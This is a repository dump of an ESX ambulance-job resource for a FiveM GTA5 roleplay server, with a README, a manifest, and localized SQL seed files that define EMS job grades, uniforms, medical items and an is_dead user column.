├── README.md ├── fxmanifest.lua ├── localization ├── en_esx_ambulancejob.sql ├── br_esx_ambulancejob.sql ├── de_esx_ambulancejob.sql ├── tr_esx_ambulancejob.sql ├── cs_esx_ambulancejob.sql ├── fi_esx_ambulancejob.sql ├── sv_esx_ambulancejob.sql └── pl_esx_ambulancejob.sql ├── esx_ambulancejob.sql ├── locales ├── tr.lua ├── et.lua ├── cs.lua ├── si.lua ├── pl.lua ├── en.lua ├── sv.lua ├── fi.lua ├── nl.lua ├── br.lua ├── de.lua ├── fr.lua ├── hu.lua └── es.lua ├── config.lua ├── client ├── vehicle.lua ├── main.lua └── job.lua └── server └── main.lua /README.md: -------------------------------------------------------------------------------- 1 | ### Installation 2 | 1) Download the latest version in the "code" tab on GitHub. 3 | 2) Drag & drop the folder into your `resources` server folder. 4 | 4) Add `start esx_ambulancejob` to your server.cfg and add the sql if you have 5 | 5) Reboot your server 6 | 7 | 8 | ## Requirements 9 | 10 | `Required`: 11 | 12 | esx_skin 13 | esx_vehicleshop 14 | 15 | `Optional`: 16 | 17 | esx_society -------------------------------------------------------------------------------- /fxmanifest.lua: -------------------------------------------------------------------------------- 1 | fx_version 'adamant' 2 | 3 | game 'gta5' 4 | 5 | description 'ESX Ambulance Job' 6 | 7 | lua54 'yes' 8 | version '1.8.5' 9 | 10 | shared_scripts { 11 | '@es_extended/imports.lua', 12 | '@es_extended/locale.lua', 13 | 'locales/*.lua', 14 | 'config.lua' 15 | } 16 | 17 | 18 | server_scripts { 19 | '@oxmysql/lib/MySQL.lua', 20 | 'server/main.lua' 21 | } 22 | 23 | client_scripts { 24 | 'client/main.lua', 25 | 'client/job.lua', 26 | 'client/vehicle.lua', 27 | } 28 | 29 | dependencies { 30 | 'es_extended', 31 | 'esx_skin', 32 | 'esx_vehicleshop' 33 | } 34 | -------------------------------------------------------------------------------- /localization/en_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'EMS', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'EMS', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'EMS', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Jr. EMT',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','EMT',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Sr. EMT',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','EMT Supervisor',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','EMS') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Bandage', 2), 28 | ('medikit','Medikit', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | INSERT INTO `addon_account` (name, label, shared) VALUES 2 | ('society_ambulance', 'Ambulance', 1) 3 | ; 4 | 5 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 6 | ('society_ambulance', 'Ambulance', 1) 7 | ; 8 | 9 | INSERT INTO `datastore` (name, label, shared) VALUES 10 | ('society_ambulance', 'Ambulance', 1) 11 | ; 12 | 13 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 14 | ('ambulance',0,'ambulance','Ambulancier',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 15 | ('ambulance',1,'doctor','Medecin',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 16 | ('ambulance',2,'chief_doctor','Medecin-chef',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',3,'boss','Chirurgien',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 18 | ; 19 | 20 | INSERT INTO `jobs` (name, label) VALUES 21 | ('ambulance','Ambulance') 22 | ; 23 | 24 | INSERT INTO `items` (name, label, weight) VALUES 25 | ('bandage','Bandage', 2), 26 | ('medikit','Medikit', 2) 27 | ; 28 | 29 | ALTER TABLE `users` 30 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 31 | ; 32 | -------------------------------------------------------------------------------- /localization/br_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'EMS', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'EMS', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'EMS', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulância','Jr. EMT',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'medico','EMT',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'medico chefe','Sr. EMT',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','EMT Supervisor',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','EMS') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','curativo', 2), 28 | ('medikit','kit medico', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /localization/de_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'Notdienst', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'Ambulance', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'Ambulance', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Sanitäter',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','Arzt',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Chefarzt',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','Chirurg',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','Notdienst') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Bandage', 2), 28 | ('medikit','Medikit', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /localization/tr_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'EMS', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'EMS', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'EMS', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Acil Tıp Teknisyeni',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','Doktor',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Kdemli Doktor',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','Baş Hekim',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','EMS') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Bandaj', 2), 28 | ('medikit','Sağlık Kiti', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /localization/cs_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'Záchranka', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'Záchranka', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'Záchranka', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Zdravotník',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','Doktor',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Primář',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','Chirurg',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','Záchranka') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Obvaz', 2), 28 | ('medikit','Lékarnička', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 